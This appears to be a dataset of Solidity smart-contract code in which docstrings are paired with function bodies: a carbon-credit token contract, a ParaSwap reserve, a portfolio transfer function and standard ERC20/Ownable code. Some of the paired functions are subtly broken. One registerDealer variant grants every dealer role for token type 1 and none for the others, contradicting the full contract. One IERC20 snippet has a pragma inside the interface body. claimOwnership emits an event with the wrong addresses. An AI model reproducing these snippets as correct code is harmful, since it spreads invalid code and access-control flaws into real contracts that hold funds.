* @param quantity of the token to mint For ex: if one needs 100 full tokens, the caller
* should set the amount as (100 * 10^4) = 1,000,000 (assuming the token's decimals is set to 4)
*/
function issue(
address issuee,
uint8 tokenTypeId,
uint256 quantity,
uint256 fromDate,
uint256 thruDate,
uint256 automaticRetireDate,
string memory metadata,
string memory manifest,
string memory description
) public onlyDealer {
return _issue(
issuee,
msg.sender,
tokenTypeId,
quantity,
fromDate,
thruDate,
automaticRetireDate,
metadata,
manifest,
description
);
}
/**
* @dev Issue function for DAO (on limited mode) or admin to manually pass issuer
* Must be called from Timelock contract through a successful proposal
* or by admin if limited mode is set to false
*/
function issueOnBehalf(
address issuee,
address issuer,
uint8 tokenTypeId,
uint256 quantity,
uint256 fromDate,
uint256 thruDate,
uint256 automaticRetireDate,
string memory metadata,
string memory manifest,
string memory description
) public {
require(
(msg.sender == timelock) || hasRole(DEFAULT_ADMIN_ROLE, msg.sender),
"CLM8::issueOnBehalf: call must come from DAO or admin"
);
return _issue(
issuee,
issuer,
tokenTypeId,
quantity,
fromDate,
thruDate,
automaticRetireDate,
metadata,
manifest,
description
);
}
function _issue(
address _issuee,
address _issuer,
uint8 _tokenTypeId,
uint256 _quantity,
uint256 _fromDate,
uint256 _thruDate,
uint256 _automaticRetireDate,
string memory _metadata,
string memory _manifest,
string memory _description
) internal {
require(
tokenTypeIdIsValid(_tokenTypeId),
"CLM8::_issue: tokenTypeId is invalid"
);
if (limitedMode) {
if (_tokenTypeId == 1 || _tokenTypeId == 2 ) {
require(
msg.sender == timelock,
"CLM8::_issue(limited): msg.sender not timelock"
);
require(
hasRole(DEFAULT_ADMIN_ROLE, _issuee),
"CLM8::_issue(limited): issuee not admin"
);
require(
hasRole(REGISTERED_REC_DEALER, _issuer) || hasRole(REGISTERED_OFFSET_DEALER, _issuer),
"CLM8::_issue(limited): proposer not a registered dealer"
);
} else if (_tokenTypeId == 3) {
require(
hasRole(REGISTERED_EMISSIONS_AUDITOR, _issuer),
"CLM8::_issue(limited): issuer not a registered emissions auditor"
);
}
} else {
if (_tokenTypeId == 1) {
require(
hasRole(REGISTERED_REC_DEALER, _issuer),
"CLM8::_issue: issuer not a registered REC dealer"
);
} else if (_tokenTypeId == 2) {
require(
hasRole(REGISTERED_OFFSET_DEALER, _issuer),
"CLM8::_issue: issuer not a registered offset dealer"
);
} else if (_tokenTypeId == 3) {
require(
hasRole(REGISTERED_EMISSIONS_AUDITOR, _issuer),
"CLM8::_issue: issuer not a registered emissions auditor"
);
}
}
// increment token identifier
_numOfUniqueTokens.increment();
// create token details
CarbonTokenDetails storage tokenInfo = _tokenDetails[_numOfUniqueTokens.current()];
tokenInfo.tokenId = _numOfUniqueTokens.current();
tokenInfo.tokenTypeId = _tokenTypeId;
tokenInfo.issuee = _issuee;
tokenInfo.issuer = _issuer;
tokenInfo.fromDate = _fromDate;
tokenInfo.thruDate = _thruDate;
tokenInfo.automaticRetireDate = _automaticRetireDate;
tokenInfo.dateCreated = block.timestamp;
tokenInfo.metadata = _metadata;
tokenInfo.manifest = _manifest;
tokenInfo.description = _description;
super._mint(_issuee, _numOfUniqueTokens.current(), _quantity, "");
// retire audited emissions on mint
if (_tokenTypeId == 3) {
super._burn(tokenInfo.issuee, tokenInfo.tokenId, _quantity);
_retiredBalances[tokenInfo.tokenId][tokenInfo.issuee] = _retiredBalances[tokenInfo.tokenId][tokenInfo.issuee].add(_quantity);
}
// emit event with all token details and balances
emit TokenCreated(
_quantity,
_retiredBalances[tokenInfo.tokenId][tokenInfo.issuee],
tokenInfo.tokenId,
tokenInfo.tokenTypeId,
tokenInfo.issuer,
tokenInfo.issuee,
tokenInfo.fromDate,
tokenInfo.thruDate,
tokenInfo.automaticRetireDate,
tokenInfo.dateCreated,
tokenInfo.metadata,
tokenInfo.manifest,
tokenInfo.description
);
}
/**
* @dev mints more of an existing token
* @param to reciepient of token
* @param tokenId token to mint more of
* @param quantity amount to mint
*/
function mint(address to, uint256 tokenId, uint256 quantity)
external
onlyAdmin
{
require(tokenExists(tokenId), "CLM8::mint: tokenId does not exist");
require(!limitedMode, "CLM8::mint: cannot mint new tokens in limited mode");
super._mint(to, tokenId, quantity, "");
}
/**
* @dev returns the token name for the given token as a string value
* @param tokenId token to check
*/
function getTokenType(uint256 tokenId)
external
view
returns (string memory)
{
require(tokenExists(tokenId), "CLM8::getTokenType: tokenId does not exist");
CarbonTokenDetails storage token = _tokenDetails[tokenId];
if (token.tokenTypeId == 1) {
return "Renewable Energy Certificate";
} else if (token.tokenTypeId == 2) {
return "Carbon Emissions Offset";
}
return "Audited Emissions";
}
/**
* @dev returns the retired amount on a token
* @param tokenId token to check
*/
function getTokenRetiredAmount(address account, uint256 tokenId)
public
view
returns (uint256)
{
require(tokenExists(tokenId), "CLM8::getTokenRetiredAmount: tokenId does not exist");
uint256 amount = _retiredBalances[tokenId][account];
return amount;
}
/**
* @dev sets the token to the retire state to disable transfers, mints and burns
* @param tokenId token to set in pause state
* Only contract owner can pause or resume tokens
*/
function retire(
uint256 tokenId,
uint256 amount
) external consumerOrDealer {
require(tokenExists(tokenId), "CLM8::retire: tokenId does not exist");
require( (amount <= super.balanceOf(msg.sender, tokenId)), "CLM8::retire: not enough available balance to retire" );
super._burn(msg.sender, tokenId, amount);
_retiredBalances[tokenId][msg.sender] = _retiredBalances[tokenId][msg.sender].add(amount);
emit TokenRetired(
msg.sender,
tokenId,
amount
);
}
/**
* @dev returns true if Dealer's account is registered
* @param account address of the dealer
*/
function isDealerRegistered(address account) public view returns (bool) {
bool isRecDealer = hasRole(REGISTERED_REC_DEALER, account);
bool isCeoDealer = hasRole(REGISTERED_OFFSET_DEALER, account);
bool isAeDealer = hasRole(REGISTERED_EMISSIONS_AUDITOR, account);
if (isRecDealer || isCeoDealer || isAeDealer) return true;
return false;
}
/**
* @dev returns true if Consumers's account is registered
* @param account address of the dealer
*/
function isConsumerRegistered(address account) public view returns (bool) {
return hasRole(REGISTERED_CONSUMER, account);
}
/**
* @dev returns true if Consumers's or Dealer's account is registered
* @param account address of the consumer/dealer
*/
function isDealerOrConsumer(address account) private view returns (bool) {
return (isDealerRegistered(account) || isConsumerRegistered(account));
}
/**
* @dev Helper function for returning tuple of bools of role membership
* @param account address to check roles
*/
function getRoles(address account) external view returns (bool, bool, bool, bool, bool) {
bool isAdmin = hasRole(DEFAULT_ADMIN_ROLE, account);
bool isRecDealer = hasRole(REGISTERED_REC_DEALER, account);
bool isCeoDealer = hasRole(REGISTERED_OFFSET_DEALER, account);
bool isAeDealer = hasRole(REGISTERED_EMISSIONS_AUDITOR, account);
bool isConsumer = hasRole(REGISTERED_CONSUMER, account);
return (isAdmin, isRecDealer, isCeoDealer, isAeDealer, isConsumer);
}
/**
* @dev Only contract owner can register Dealers
* @param account address of the dealer to register
* Only registered Dealers can transfer tokens
*/
function registerDealer(address account, uint8 tokenTypeId)
external
onlyAdmin
{
require(tokenTypeIdIsValid(tokenTypeId), "CLM8::registerDealer: tokenTypeId does not exist");
if (tokenTypeId == 1) {
grantRole(REGISTERED_REC_DEALER, account);
} else if (tokenTypeId == 2) {
grantRole(REGISTERED_OFFSET_DEALER, account);
} else {
grantRole(REGISTERED_EMISSIONS_AUDITOR, account);
}
// Also grant generic dealer role for registering/unregistering consumers
grantRole(REGISTERED_DEALER, account);
emit RegisteredDealer(account);
}
/**
* @dev returns true if Consumer's account is registered for the given token
* @param account address of the consumer
*/
function registerConsumer(address account) external onlyDealer {
if (limitedMode) {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "CLM8::registerConsumer(limited): only admin can register consumers");
}
grantRole(REGISTERED_CONSUMER, account);
emit RegisteredConsumer(account);
}
/**
* @dev Only contract owner can unregister Dealers
* @param account address to be unregistered
*/
function unregisterDealer(address account, uint8 tokenTypeId)
external
onlyAdmin
{
require(tokenTypeIdIsValid(tokenTypeId), "CLM8::unregisterDealer: tokenTypeId does not exist");
if (tokenTypeId == 1) {
super.revokeRole(REGISTERED_REC_DEALER, account);
} else if (tokenTypeId == 2) {
super.revokeRole(REGISTERED_OFFSET_DEALER, account);
} else {
super.revokeRole(REGISTERED_EMISSIONS_AUDITOR, account);
}
// If no longer a dealer of any token type, remove generic dealer role
if (!isDealerRegistered(account)) {
revokeRole(REGISTERED_DEALER, account);
}
emit UnregisteredDealer(account);
}
/**
* @dev Only contract owner can unregister Consumers
* @param account address to be unregistered
*/
function unregisterConsumer(address account) external onlyDealer {
if (limitedMode) {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "CLM8::unregisterConsumer(limited): only admin can unregister consumers");
}
super.revokeRole(REGISTERED_CONSUMER, account);
emit UnregisteredConsumer(account);
}
/**
* @dev transfers the value to the 'to' account for tokenId
* @param to recipient address
* @param tokenId tokenId for the transfer
* @param value amount of transfer
* Transfer can start only when both parties are registered and the token is not paused
* Note: Token holders can arbitrarily call safeTransferFrom() without these checks
*/
function transfer(
address to,
uint256 tokenId,
uint256 value
) external consumerOrDealer {
require(tokenExists(tokenId), "CLM8::transfer: tokenId does not exist");
require((msg.sender != to), "CLM8::transfer: sender and receiver cannot be the same");
super.safeTransferFrom(msg.sender, to, tokenId, value, "0x00");
}
function setTimelock(
address _timelock
) external onlyAdmin {
timelock = _timelock;
}
function getAvailableAndRetired(address account, uint256 tokenId)
external
view
returns (uint256, uint256)
{
uint256 available = super.balanceOf(account, tokenId);
uint256 retired = this.getTokenRetiredAmount(account, tokenId);
return (available, retired);
}
/**
* @dev returns issuer of a given tokenId
*/
function getIssuer(uint256 tokenId)
external
view
returns (address)
{
return _tokenDetails[tokenId].issuer;
}
/**
* @dev returns the details of a given tokenId, omitting holders
* @param tokenId token to check
*/
function getTokenDetails(uint256 tokenId)
external
view
returns (CarbonTokenDetails memory)
{
return _tokenDetails[tokenId];
}
/**
* @dev turns off or on limited mode
* @param _limitedMode boolean value
*/
function setLimitedMode(bool _limitedMode)
external
onlyAdmin
{
limitedMode = _limitedMode;
}
}
|
Only contract owner can register Dealers account address of the dealer to register Only registered Dealers can transfer tokens/
|
function registerDealer(address account, uint8 tokenTypeId)
external
onlyAdmin
{
require(tokenTypeIdIsValid(tokenTypeId), "CLM8::registerDealer: tokenTypeId does not exist");
if (tokenTypeId == 1) {
grantRole(REGISTERED_REC_DEALER, account);
grantRole(REGISTERED_OFFSET_DEALER, account);
grantRole(REGISTERED_EMISSIONS_AUDITOR, account);
}
emit RegisteredDealer(account);
}
| 6,352,318 |
/**
*Submitted for verification at Etherscan.io on 2021-01-06
*/
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.7.6;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
* From https://github.com/OpenZeppelin/openzeppelin-contracts
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title VersionedInitializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*
* @author Aave, inspired by the OpenZeppelin Initializable contract
*/
abstract contract VersionedInitializable {
/**
* @dev Indicates that the contract has been initialized.
*/
uint256 internal lastInitializedRevision = 0;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
uint256 revision = getRevision();
require(revision > lastInitializedRevision, 'Contract instance has already been initialized');
lastInitializedRevision = revision;
_;
}
/// @dev returns the revision number of the contract.
/// Needs to be defined in the inherited class as a constant.
function getRevision() internal pure virtual returns (uint256);
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
/**
* @title ParaSwapEcosystemReserve
* @notice Stores all the PSP kept for incentives, just giving approval to the different
* systems that will pull PSP funds for their specific use case
* @author Aave
**/
contract ParaSwapEcosystemReserve is VersionedInitializable {
event NewFundsAdmin(address indexed fundsAdmin);
address internal _fundsAdmin;
uint256 public constant REVISION = 2;
function getRevision() internal pure override returns (uint256) {
return REVISION;
}
function getFundsAdmin() external view returns (address) {
return _fundsAdmin;
}
modifier onlyFundsAdmin() {
require(msg.sender == _fundsAdmin, 'ONLY_BY_FUNDS_ADMIN');
_;
}
function initialize(address reserveController) external initializer {
_setFundsAdmin(reserveController);
}
function approve(
IERC20 token,
address recipient,
uint256 amount
) external onlyFundsAdmin {
token.approve(recipient, amount);
}
function transfer(
IERC20 token,
address recipient,
uint256 amount
) external onlyFundsAdmin {
token.transfer(recipient, amount);
}
function setFundsAdmin(address admin) public onlyFundsAdmin {
_setFundsAdmin(admin);
}
function _setFundsAdmin(address admin) internal {
_fundsAdmin = admin;
emit NewFundsAdmin(admin);
}
}
|
Interface of the ERC20 standard as defined in the EIP./
|
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
pragma solidity 0.7.6;
}
| 7,880,218 |
./full_match/432204/0x010224949cCa211Fb5dDfEDD28Dc8Bf9D2990368/sources/contracts/PortfolioSub.sol
|
_from Address of the sender _to Address of the receiver _symbol Symbol of the token _quantity Amount of the token _feeCharged Fee charged for the transaction _transaction Transaction type _decreaseTotalOnly If true, only total balance is decreased/ _feeCharged is always in incoming currency when transferring as a part of EXECUTION Hence both safeDecreaseTotal and safeDecrease that handle outgoing currency, overwrite _feeCharged to 0. Replaced with IXFERREC in SafeIncrease because we want this event to be captured and showed to the recipient
|
function transferToken(
address _from,
address _to,
bytes32 _symbol,
uint256 _quantity,
uint256 _feeCharged,
Tx _transaction,
bool _decreaseTotalOnly
) private {
_decreaseTotalOnly
? safeDecreaseTotal(_from, _symbol, _quantity, 0, _transaction)
: safeDecrease(_from, _symbol, _quantity, 0, _transaction);
_transaction == Tx.IXFERSENT
? safeIncrease(_to, _symbol, _quantity, _feeCharged, Tx.IXFERREC)
: safeIncrease(_to, _symbol, _quantity, _feeCharged, _transaction);
}
| 16,380,951 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./interfaces/IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "./utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./access/Ownable.sol";
import "./interfaces/IERC20.sol";
import "./utils/token/SafeERC20.sol";
import "./ERC20.sol";
contract SUSD is ERC20, Ownable {
constructor (string memory name_, string memory symbol_) ERC20(name_, symbol_) Ownable() {
}
function mint(address account, uint256 amount) external onlyOwner {
_mint(account, amount);
}
function burn(address account, uint256 amount) external onlyOwner {
_burn(account, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
address private _pendingOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Returns the address of the pending owner.
*/
function pendingOwner() public view returns (address) {
return _pendingOwner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Throws if called by any account other than the pending owner.
*/
modifier onlyPendingOwner() {
require(pendingOwner() == _msgSender(), "Ownable: caller is not the pending owner");
_;
}
function transferOwnership(address newOwner) external onlyOwner {
_pendingOwner = newOwner;
}
function claimOwnership() external onlyPendingOwner {
_owner = _pendingOwner;
_pendingOwner = address(0);
emit OwnershipTransferred(_owner, _pendingOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../interfaces/IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
